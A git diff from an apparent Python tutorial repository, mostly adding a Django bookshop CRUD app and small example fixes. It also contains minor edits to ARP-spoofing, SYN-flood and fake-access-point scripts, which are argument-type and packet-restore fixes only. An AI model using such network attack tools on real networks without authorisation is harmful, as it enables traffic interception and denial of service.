a/python-standard-library/reading-email-messages/reading_emails.py +++ b/python-standard-library/reading-email-messages/reading_emails.py @@ -7,6 +7,10 @@ # account credentials username = "youremailaddress@provider.com" password = "yourpassword" +# use your email provider's IMAP server, you can look for your provider's IMAP server on Google +# or check this page: https://www.systoolsgroup.com/imap/ +# for office 365, it's this: +imap_server = "outlook.office365.com" def clean(text): @@ -17,7 +21,7 @@ def clean(text): N = 3 # create an IMAP4 class with SSL, use your email provider's IMAP server -imap = imaplib.IMAP4_SSL("imap.gmail.com") +imap = imaplib.IMAP4_SSL(imap_server) # authenticate imap.login(username, password) diff --git a/python-standard-library/split-string/README.md b/python-standard-library/split-string/README.md new file mode 100644 index 00000000..fe078256 --- /dev/null +++ b/python-standard-library/split-string/README.md @@ -0,0 +1 @@ +# [How to Split a String In Python](https://www.thepythoncode.com/article/split-a-string-in-python) \ No newline at end of file diff --git a/python-standard-library/split-string/split_string.py b/python-standard-library/split-string/split_string.py new file mode 100644 index 00000000..86e17e2b --- /dev/null +++ b/python-standard-library/split-string/split_string.py @@ -0,0 +1,32 @@ +#Declare Two Variables +variable1 = "Splitting a string" +variable2 = 'Splitting another string' + +#Splitting The Variables +print(variable1.split()) +print(variable2.split()) + +#Splitting The Variables +print(variable1.split()) +print(variable2.split(",")) + +#Declare Two Variables +variable1 = "Splitting*a*string" +variable2 = 'Splitting,another,string' +#Splitting The Variables +print(variable1.split("*")) +print(variable2.split(",")) + +#Splitting The Variables +print(variable1.split("*")[2]) +print(variable2.split(",")[0]) + +#Declare The Variable +variable = "Splitting a string" +#Use The Maxsplit +print(variable.split(" ", maxsplit=1)) + +#Declare The Variable +variable = "Splitting a string" +#Split The String By Characters +print(list(variable)) \ No newline at end of file diff --git a/scapy/arp-spoofer/arp_spoof.py b/scapy/arp-spoofer/arp_spoof.py index 51b9fb5b..6179bdd5 100644 --- a/scapy/arp-spoofer/arp_spoof.py +++ b/scapy/arp-spoofer/arp_spoof.py @@ -79,7 +79,7 @@ def restore(target_ip, host_ip, verbose=True): # get the real MAC address of spoofed (gateway, i.e router) host_mac = get_mac(host_ip) # crafting the restoring packet - arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac) + arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at") # sending the restoring packet # to restore the network to its normal process # we send each reply seven times for a good measure (count=7) @@ -108,4 +108,4 @@ def restore(target_ip, host_ip, verbose=True): except KeyboardInterrupt: print("[!] Detected CTRL+C ! restoring the network, please wait...") restore(target, host) - restore(host, target) \ No newline at end of file + restore(host, target) diff --git a/scapy/dhcp_listener/README.md b/scapy/dhcp_listener/README.md index 6a7323a5..128e16ac 100644 --- a/scapy/dhcp_listener/README.md +++ b/scapy/dhcp_listener/README.md @@ -1,7 +1,7 @@ -# Listening for new Connected Devices in the Network using DHCP +# [How to Make a DHCP Listener using Scapy in Python](https://www.thepythoncode.com/article/dhcp-listener-using-scapy-in-python) to run this: - `pip3 install -r requirements.txt` - ``` - python3 dhcp_listener.py + $ python3 dhcp_listener.py ``` \ No newline at end of file diff --git a/scapy/dhcp_listener/dhcp_listener.py b/scapy/dhcp_listener/dhcp_listener.py index de8655c5..e036e40c 100644 --- a/scapy/dhcp_listener/dhcp_listener.py +++ b/scapy/dhcp_listener/dhcp_listener.py @@ -1,16 +1,16 @@ from scapy.all import * import time -hosts = [] -Ether = 1 - def listen_dhcp(): # Make sure it is DHCP with the filter options - k = sniff(prn=print_packet, filter='udp and (port 67 or port 68)') + sniff(prn=print_packet, filter='udp and (port 67 or port 68)') + def print_packet(packet): + # initialize these variables to None at first target_mac, requested_ip, hostname, vendor_id = [None] * 4 + # get the MAC address of the requester if packet.haslayer(Ether): target_mac = packet.getlayer(Ether).src # get the DHCP options @@ -21,15 +21,18 @@ def print_packet(packet): except ValueError: continue if label == 'requested_addr': + # get the requested IP requested_ip = value elif label == 'hostname': + # get the hostname of the device hostname = value.decode() elif label == 'vendor_class_id': + # get the vendor ID vendor_id = value.decode() - if target_mac and vendor_id and hostname and requested_ip and target_mac not in hosts: - hosts.append(target_mac) - time_now = time.strftime("[%Y-%m-%d - %H:%M:%S] ") - print("{}: {} - {} / {} requested {}".format(time_now, target_mac, hostname, vendor_id, requested_ip)) + if target_mac and vendor_id and hostname and requested_ip: + # if all variables are not None, print the device details + time_now = time.strftime("[%Y-%m-%d - %H:%M:%S]") + print(f"{time_now} : {target_mac} - {hostname} / {vendor_id} requested {requested_ip}") if __name__ == "__main__": diff --git a/scapy/fake-access-point/fake_access_point.py b/scapy/fake-access-point/fake_access_point.py index 35e203fa..ffecffb7 100644 --- a/scapy/fake-access-point/fake_access_point.py +++ b/scapy/fake-access-point/fake_access_point.py @@ -34,7 +34,7 @@ def send_beacon(ssid, mac, infinite=True): parser = argparse.ArgumentParser(description="Fake Access Point Generator") parser.add_argument("interface", default="wlan0mon", help="The interface to send beacon frames with, must be in monitor mode") - parser.add_argument("-n", "--access-points", dest="n_ap", help="Number of access points to be generated") + parser.add_argument("-n", "--access-points", type=int, dest="n_ap", help="Number of access points to be generated") args = parser.parse_args() n_ap = args.n_ap iface = args.interface diff --git a/scapy/syn-flood/syn_flood.py b/scapy/syn-flood/syn_flood.py index 3293e68d..4e657db4 100644 --- a/scapy/syn-flood/syn_flood.py +++ b/scapy/syn-flood/syn_flood.py @@ -3,7 +3,7 @@ parser = argparse.ArgumentParser(description="Simple SYN Flood Script") parser.add_argument("target_ip", help="Target IP address (e.g router's IP)") -parser.add_argument("-p", "--port", help="Destination port (the port of the target's machine service, \ +parser.add_argument("-p", "--port", type=int, help="Destination port (the port of the target's machine service, \ e.g 80 for HTTP, 22 for SSH and so on).") # parse arguments from the command line args = parser.parse_args() diff --git a/web-programming/bookshop-crud-app-django/README.md b/web-programming/bookshop-crud-app-django/README.md new file mode 100644 index 00000000..6d218442 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/README.md @@ -0,0 +1 @@ +# [How to Build a CRUD Application using Django in Python](https://www.thepythoncode.com/article/build-bookstore-app-with-django-backend-python) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/bookcovers/414zYx1SEoL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/414zYx1SEoL.jpg new file mode 100644 index 00000000..2643bacc Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/414zYx1SEoL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/41Imco7yalL._SX404_BO1,204,203,200_.jpg b/web-programming/bookshop-crud-app-django/bookcovers/41Imco7yalL._SX404_BO1,204,203,200_.jpg new file mode 100644 index 00000000..7f1e7de6 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/41Imco7yalL._SX404_BO1,204,203,200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/41iYPb47M-L._SX384_BO1,204,203,200_.jpg b/web-programming/bookshop-crud-app-django/bookcovers/41iYPb47M-L._SX384_BO1,204,203,200_.jpg new file mode 100644 index 00000000..e851997a Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/41iYPb47M-L._SX384_BO1,204,203,200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/41o-uUcKIdL._SX403_BO1,204,203,200_.jpg b/web-programming/bookshop-crud-app-django/bookcovers/41o-uUcKIdL._SX403_BO1,204,203,200_.jpg new file mode 100644 index 00000000..52c429d4 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/41o-uUcKIdL._SX403_BO1,204,203,200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51+gwRCd9PL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51+gwRCd9PL.jpg new file mode 100644 index 00000000..cca1cf75 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51+gwRCd9PL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51+p6vUygeL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51+p6vUygeL.jpg new file mode 100644 index 00000000..cb2ca933 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51+p6vUygeL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51av4IdK8LL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51av4IdK8LL.jpg new file mode 100644 index 00000000..aee081d0 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51av4IdK8LL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51d+7bIw1sL._SX342_SY445_QL70_ML2_.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51d+7bIw1sL._SX342_SY445_QL70_ML2_.jpg new file mode 100644 index 00000000..ea8d7c63 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51d+7bIw1sL._SX342_SY445_QL70_ML2_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51kM7CkgKWL._SX353_BO1,204,203,200_.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51kM7CkgKWL._SX353_BO1,204,203,200_.jpg new file mode 100644 index 00000000..b3eac252 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51kM7CkgKWL._SX353_BO1,204,203,200_.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/51nMghlDJgL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/51nMghlDJgL.jpg new file mode 100644 index 00000000..01c8c792 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/51nMghlDJgL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/71GPx+GNQ6L.jpg b/web-programming/bookshop-crud-app-django/bookcovers/71GPx+GNQ6L.jpg new file mode 100644 index 00000000..5ceaf556 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/71GPx+GNQ6L.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/71Yd2ACrDcL.jpg b/web-programming/bookshop-crud-app-django/bookcovers/71Yd2ACrDcL.jpg new file mode 100644 index 00000000..78a34e3f Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/71Yd2ACrDcL.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/978-1-4302-4210-9.jpg b/web-programming/bookshop-crud-app-django/bookcovers/978-1-4302-4210-9.jpg new file mode 100644 index 00000000..8f174138 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/978-1-4302-4210-9.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/978-1-4842-1973-7.jpg b/web-programming/bookshop-crud-app-django/bookcovers/978-1-4842-1973-7.jpg new file mode 100644 index 00000000..d6f5b8a5 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/978-1-4842-1973-7.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/default.jpg b/web-programming/bookshop-crud-app-django/bookcovers/default.jpg new file mode 100644 index 00000000..cedbb485 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/default.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/download.png b/web-programming/bookshop-crud-app-django/bookcovers/download.png new file mode 100644 index 00000000..b80664f1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/download.png differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/must-read-html-css-books.jpg b/web-programming/bookshop-crud-app-django/bookcovers/must-read-html-css-books.jpg new file mode 100644 index 00000000..f5590613 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/must-read-html-css-books.jpg differ diff --git a/web-programming/bookshop-crud-app-django/bookcovers/word-image-5.jpeg b/web-programming/bookshop-crud-app-django/bookcovers/word-image-5.jpeg new file mode 100644 index 00000000..7006aba1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/bookcovers/word-image-5.jpeg differ diff --git a/web-programming/bookshop-crud-app-django/books/__init__.py b/web-programming/bookshop-crud-app-django/books/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..c878ea11 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..236cbf7c Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-310.pyc new file mode 100644 index 00000000..bc6fdfdb Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-39.pyc new file mode 100644 index 00000000..70b4c063 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/admin.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-310.pyc new file mode 100644 index 00000000..c680fb5d Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-39.pyc new file mode 100644 index 00000000..44533fe7 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/apps.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-310.pyc new file mode 100644 index 00000000..2e4ec44e Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-39.pyc new file mode 100644 index 00000000..9efb6366 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/forms.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-310.pyc new file mode 100644 index 00000000..1e5e29e7 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-39.pyc new file mode 100644 index 00000000..ed9c8e50 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/models.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-310.pyc new file mode 100644 index 00000000..88b2d1d7 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-39.pyc new file mode 100644 index 00000000..bff40388 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/urls.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-310.pyc new file mode 100644 index 00000000..8878da26 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-39.pyc new file mode 100644 index 00000000..c4b3c847 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/__pycache__/views.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/admin.py b/web-programming/bookshop-crud-app-django/books/admin.py new file mode 100644 index 00000000..f97d9a64 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/admin.py @@ -0,0 +1,6 @@ +from django.contrib import admin +# from the models.py file import Book +from .models import Book + +# registering the Book to the admin site +admin.site.register(Book) \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/apps.py b/web-programming/bookshop-crud-app-django/books/apps.py new file mode 100644 index 00000000..a53388cf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/apps.py @@ -0,0 +1,6 @@ +from django.apps import AppConfig + + +class BooksConfig(AppConfig): + default_auto_field = 'django.db.models.BigAutoField' + name = 'books' diff --git a/web-programming/bookshop-crud-app-django/books/forms.py b/web-programming/bookshop-crud-app-django/books/forms.py new file mode 100644 index 00000000..5592ac2f --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/forms.py @@ -0,0 +1,20 @@ +from .models import Book +from django.forms import ModelForm +from django import forms + +# declaring the ModelForm +class EditBookForm(ModelForm): + + class Meta: + # the Model from which the form will inherit from + model = Book + # the fields we want from the Model + fields = '__all__' + # styling the form with bootstrap classes + widgets = { + 'title': forms.TextInput(attrs={'class': 'form-control'}), + 'author': forms.TextInput(attrs={'class': 'form-control'}), + 'price': forms.TextInput(attrs={'class': 'form-control'}), + 'isbn': forms.TextInput(attrs={'class': 'form-control'}), + + } diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py b/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py new file mode 100644 index 00000000..4eb61b37 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0001_initial.py @@ -0,0 +1,29 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:18 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Book', + fields=[ + ('id', models.BigAutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('title', models.CharField(max_length=100)), + ('author', models.CharField(max_length=100)), + ('price', models.DecimalField(decimal_places=2, max_digits=10)), + ('isbn', models.CharField(max_length=100)), + ('image', models.ImageField(upload_to='')), + ('created_at', models.DateTimeField(auto_now_add=True, null=True)), + ], + options={ + 'ordering': ['-created_at'], + }, + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py new file mode 100644 index 00000000..18a838bf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0002_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:29 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0001_initial'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/', upload_to='images'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py new file mode 100644 index 00000000..b47d2cbe --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0003_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:29 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0002_alter_book_image'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/default.jpg', upload_to='images'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py b/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py new file mode 100644 index 00000000..99027613 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/migrations/0004_alter_book_image.py @@ -0,0 +1,18 @@ +# Generated by Django 4.0.6 on 2022-07-17 08:34 + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + dependencies = [ + ('books', '0003_alter_book_image'), + ] + + operations = [ + migrations.AlterField( + model_name='book', + name='image', + field=models.ImageField(default='images/default.jpg', upload_to='images/'), + ), + ] diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__init__.py b/web-programming/bookshop-crud-app-django/books/migrations/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc new file mode 100644 index 00000000..efdd6d03 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-39.pyc new file mode 100644 index 00000000..57bd3041 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0001_initial.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-310.pyc new file mode 100644 index 00000000..9151ea71 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-39.pyc new file mode 100644 index 00000000..e9c05f48 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0002_alter_book_image.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-310.pyc new file mode 100644 index 00000000..b0042d68 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-39.pyc new file mode 100644 index 00000000..667265df Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0003_alter_book_image.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-310.pyc new file mode 100644 index 00000000..db5531a6 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-39.pyc new file mode 100644 index 00000000..9db3f888 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/0004_alter_book_image.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-310.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-310.pyc new file mode 100644 index 00000000..5d0cabb1 Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-310.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc new file mode 100644 index 00000000..1d1a5b2f Binary files /dev/null and b/web-programming/bookshop-crud-app-django/books/migrations/__pycache__/__init__.cpython-39.pyc differ diff --git a/web-programming/bookshop-crud-app-django/books/models.py b/web-programming/bookshop-crud-app-django/books/models.py new file mode 100644 index 00000000..82248ab6 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/models.py @@ -0,0 +1,21 @@ +from django.db import models + + +# the Book model with its fields +class Book(models.Model): + title = models.CharField(max_length=100) + author = models.CharField(max_length=100) + price = models.DecimalField(max_digits=10, decimal_places=2) + isbn = models.CharField(max_length=100) + # this is the image for a book, the image will be uploaded to images folder + image = models.ImageField(null=False, blank=False, upload_to='images/') + created_at = models.DateTimeField(auto_now_add=True, null=True, blank=True) + + # this is the string represantation, what to display after querying a book/books + def __str__(self): + return f'{self.title}' + + # this will order the books by date created + class Meta: + ordering = ['-created_at'] + diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html new file mode 100644 index 00000000..2ed9797c --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/add-book.html @@ -0,0 +1,57 @@ +{% extends 'books/base.html' %} + + +{% block content %} +

+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + + +
+ + +
+ + +
+ + +
+ + + +
+ + +
+ + +
+ + +
+ + +
+ + +
+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/base.html b/web-programming/bookshop-crud-app-django/books/templates/books/base.html new file mode 100644 index 00000000..713f536c --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/base.html @@ -0,0 +1,16 @@ + + + + + + + Book Store + + + + + {% block content %} + + {% endblock %} + + \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html b/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html new file mode 100644 index 00000000..a3954427 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/book-detail.html @@ -0,0 +1,25 @@ +{% extends 'books/base.html' %} + +{% load static %} + + +{% block content %} +
+
+
+ Go Back +
+ + +
+ + +
Author: {{ book.author }}
+ ISBN: {{ book.isbn }}
+ Price: {{ book.price }}
+ Edit Book + Delete Book +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html new file mode 100644 index 00000000..c76e61a5 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/delete-book.html @@ -0,0 +1,28 @@ +{% extends 'books/base.html' %} + + +{% block content %} +
+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + +

Are you sure you want to delete the book '{{ book.title | upper}}'?

+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/home.html b/web-programming/bookshop-crud-app-django/books/templates/books/home.html new file mode 100644 index 00000000..c16ec09a --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/home.html @@ -0,0 +1,50 @@ + +{% extends 'books/base.html' %} + + +{% load static %} + +{% block content %} +
+
+ +
+
+

Menu

+ + + + Add Book + +
+
+ + +
+
+ + {% for book in books %} +
+
+ + + + +
+ +

{{ book.title }}

+
+ View Book +
+
+ {% endfor %} + +
+ +
+ +
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html b/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html new file mode 100644 index 00000000..0ffe58e5 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/templates/books/update-book.html @@ -0,0 +1,28 @@ +{% extends 'books/base.html' %} + + +{% block content %} +
+
+ Go Back + +
+ +
+ +
+ + + {% csrf_token %} + +

{{ form }}

+ + + +
+
+ +
+
+
+{% endblock %} \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/tests.py b/web-programming/bookshop-crud-app-django/books/tests.py new file mode 100644 index 00000000..7ce503c2 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/tests.py @@ -0,0 +1,3 @@ +from django.test import TestCase + +# Create your tests here. diff --git a/web-programming/bookshop-crud-app-django/books/urls.py b/web-programming/bookshop-crud-app-django/books/urls.py new file mode 100644 index 00000000..8f0d6f70 --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/urls.py @@ -0,0 +1,17 @@ +from django.urls import path +# this imports all the views from the views.py +from . import views + + +urlpatterns = [ + # this is the home url + path('', views.home, name='home'), + # this is the single book url + path('book-detail//', views.book_detail, name='book-detail'), + # this is the add book url + path('add-book/', views.add_book, name='add-book'), + # this is the edit book url + path('edit-book//', views.edit_book, name='edit-book'), + # this is the delete book url + path('delete-book//', views.delete_book, name='delete-book'), +] \ No newline at end of file diff --git a/web-programming/bookshop-crud-app-django/books/views.py b/web-programming/bookshop-crud-app-django/books/views.py new file mode 100644 index 00000000..b5aba2bf --- /dev/null +++ b/web-programming/bookshop-crud-app-django/books/views.py @@ -0,0 +1,73 @@ +from django.shortcuts import render, redirect +from .models import Book +from .forms import EditBookForm + +# this is a view for listing all the books +def home(request): + # retrieving all the books from the database + books = Book.objects.all() + context = {'books': books} + return render(request, 'books/home.html', context) + + +# this is a view for listing a single book +def book_detail(request, id): + # querying a particular book by its id + book = Book.objects.get(pk=id) + context = {'book': book} + return render(request, 'books/book-detail.html', context) + +# this is a view for adding a book +def add_book(request): + # checking if the method is POST + if request.method == 'POST': + # getting all the data from the POST request + data = request.POST + # getting the image + image = request.FILES.get('image-file') + # creating and saving the book + book = Book.objects.create( + 